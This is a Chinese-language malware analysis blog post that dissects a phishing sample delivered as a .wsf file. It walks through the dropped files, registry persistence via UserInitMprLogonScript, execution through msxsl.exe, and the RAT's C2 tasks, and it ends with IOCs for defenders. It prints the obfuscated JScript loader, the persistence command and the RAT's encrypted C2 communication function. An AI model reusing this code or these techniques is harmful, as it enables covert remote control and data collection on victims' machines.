某钓鱼样本分析 Job Description.wsf 文件分析
Job Description.wsf 文件分析
之前朋友发的链接就顺便看看
文件是一个混淆过的 WScript 脚本文件 沙盒执行
释放 7397.doc 和 342.ocx 启动 word 打开 7397.doc 并调用 regsvr32.exe 运行 342.ocx
文档截图
懒得去细看反正应该就是个什么表
342.ocx 生成 BC88E872ECBCD35DFDD834.txt(jscript),28851D604F592.txt(XSL),msxsl.exe 这三个文件其中前两个文件名随机
设置注册表 key:HKEY_CURRENT_USER\Software\Microsoft\Notepad Name:当前用户名 value:id+前面两个 txt 文件名用,分割
设置注册表(使用 Logon Scripts 持久化) key:HKEY_CURRENT_USER\Environment name:UserInitMprLogonScript value: cscripT /B /e:jsCript "%APPDATA%\Microsoft\BC88E872ECBCD35DFDD834.txt"
调用 msxsl.exe 执行代码连接 C2 msxsl.exe 28851D604F592.txt 28851D604F592.txt
调用 cmd 删除自身
C:\Windows\system32\cmd.exe /c del "C:\Users\admin\AppData\Roaming\Microsoft\342.ocx" >> NUL
基本流程图
持久化分析
通过 Logon Scripts 方式到达持久化
BC88E872ECBCD35DFDD834.txt 文件混淆简单
var gwzx5707 = 0;
try{
var gwzx86 = '"';
var gwzx769515 = ".";var gwzx59 = "t";
var gwzx657 = "e";
var gwzx73 = new ActiveXObject("WScrip" + gwzx59 + gwzx769515 + "Sh" + gwzx657 + "ll");
var gwzx056 = "x";var gwzx3636 = gwzx769515 + gwzx59 + gwzx056 + gwzx59;
var gwzx786520 = gwzx769515 + gwzx657 + gwzx056 + gwzx657;
var gwzx11 = "\\";
var gwzx7 = gwzx86 + "C:" + gwzx11 + "Users" + gwzx11 + "admin" + gwzx11 + "AppData" + gwzx11 + "Roaming" + gwzx11 + "Microsoft" + gwzx11 + "";
var gwzx581 = "28851D604F592";var gwzx35270 = gwzx7 + "ms" + gwzx056 + "sl" + gwzx786520 + gwzx86 + " " + gwzx7 + gwzx581 + gwzx3636 + gwzx86 + " " + gwzx7 + gwzx581 + gwzx3636 + gwzx86;gwzx73.Run(gwzx35270, 0);
} catch(gwzx7566){
gwzx5707 = 606;
}
使用 WScript.Shell 运行 msxsl.exe 执行 28851D604F592.txt
28851D604F592.txt 文件分析(jscript 文件)
这个文件是主要代码它的混淆比较严重
这两行是被加密的核心代码其中第二行的代码为 rat 代码,第一行的代码是用来解密第二行的。它加密算法应该是自己写的,js 里解密函数差不多占整个文件的一半
28851D604F592.txt 这个文件是由 342.ocx 动态生成,而上面第二行加密的代码的密钥由 342.ocx 在运行时获取的用户名 PC 名 处理器 ID,然后把这三个值进行处理后作为密钥来加密 rat 核心代码,而上面的第一行代码在被解密执行后会在运行时会获取这三个值去解密 rat 核心代码然后启动 rat 核心代码
首先调用解密函数 gsdxqk072433 解密 gsdxqk1444 变量
然后调用 gsdxqk352 函数执行解密后的代码
现在我们转到被解密的第一行代码,这里放出关键部分
其中 gsdxqk535 函数可以很明显的看出是用来获取 pc 名 用户名 处理器 id 这三个值的
然后让我们往下看
可以看到在使用密钥对 gsdxqk379459 变量进行解密并且在使用 gsdxqk352 函数去执行解密后的代码
rat 核心代码
现在我们来分析一下 rat 核心代码
文件开头主要是定义了一些变量留到后面使用
看到那个 Gete 变量我感觉这个 rat 控制端应该是 web 开发的
开始执行
基本是初始化一些变量然后调用 check_inside 检测一下 js 文件环境变量等等
check_inside 函数部分截图
检查结束后调用 go 检查网络情况 c2 情况如果失败就调用 waitfor2 等待一定时间后重新调用 go 函数成功就调用 Main 函数
Main 函数
基本流程就是收集系统信息发送系统信息然后判断返回根据返回的命令执行指定任务或进入等待函数然后等待一段时间后调用 Main
bot_header 获取系统信息
小部分截图,这个函数里太 tm 多 if 了比如这样的
最后返回数据
末尾的 BV 应该是版本号
hit_Gate 函数
function hit_Gate(URL, POSTdata, gResponse, method) { var Resp = ""; var Temp89 = ""; var con4; var respzz; if (SYSTEM === 1) { con4 = xhr; } else { if (method === 1) { con4 = xhr; } else { con4 = con; } } try { con4.open("POST", URL, false); } catch(e10) { if (SYSTEM === 0 && method === 0) { return hit_Gate(URL, POSTdata, gResponse, 1); } else { return "gErr"; } } if (gResponse === 1) { con4.onreadystatechange = function() { if (con4.readyState === 4) { if (con4.status === 200) { respzz = con4.responseText; if (respzz) { Temp89 = base91_decode(respzz); if (Temp89) { var wo = Temp89.substr(0, Temp89.length - 2); var KeyNow = Temp89.substr(Temp89.length - 2); Resp = zzzz4(Rkey + KeyNow, wo); if (Resp) { respzz = ""; } else { Resp = "gErr"; } } else { Resp = "gErr"; } } else { Resp = "OK"; } } else { Resp = "gErr"; } } }; } var keynow = rStr(2); var rNow = rInt(8, 32); var not_unique = POSTdata + "|" + rStr(rNow) + "|"; var xCrypted = zzzz4(Rkey + keynow, not_unique) + keynow; var encoded = base91_encode(xCrypted); var g11 = 0; if (SYSTEM === 1 || method === 1) { try { con4.setOption(2, 13056); } catch(e411) { g11 = 1; } } try { con4.send(encoded); } catch(e11) { if (SYSTEM === 0 && method === 0) { return hit_Gate(URL, POSTdata, gResponse, 1); } else { return "gErr"; } } if (gResponse === 1) { return Resp; } }
发送数据获取任务返回给 Main 函数然后判断是否有任务如果有则调用 eTask 无则进入等待函数 waitfor
eTask
任务执行函数,一共实现了 6 个功能
下载执行 exe 或 dll
更新程序
自删除
重启程序
执行 cmd 不返回结果或返回结果
IOC
MD5 F2C17BE8CDAABBC4C596BABB076AB22B
domain dcc.experientialcentral.com
链接: https://twitter.com/SBousseaden/status/1208000088875978753
最后
本来是想之前就更新博客的但是因为种种原因一直没写,天气太冷都不想动了哈哈
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论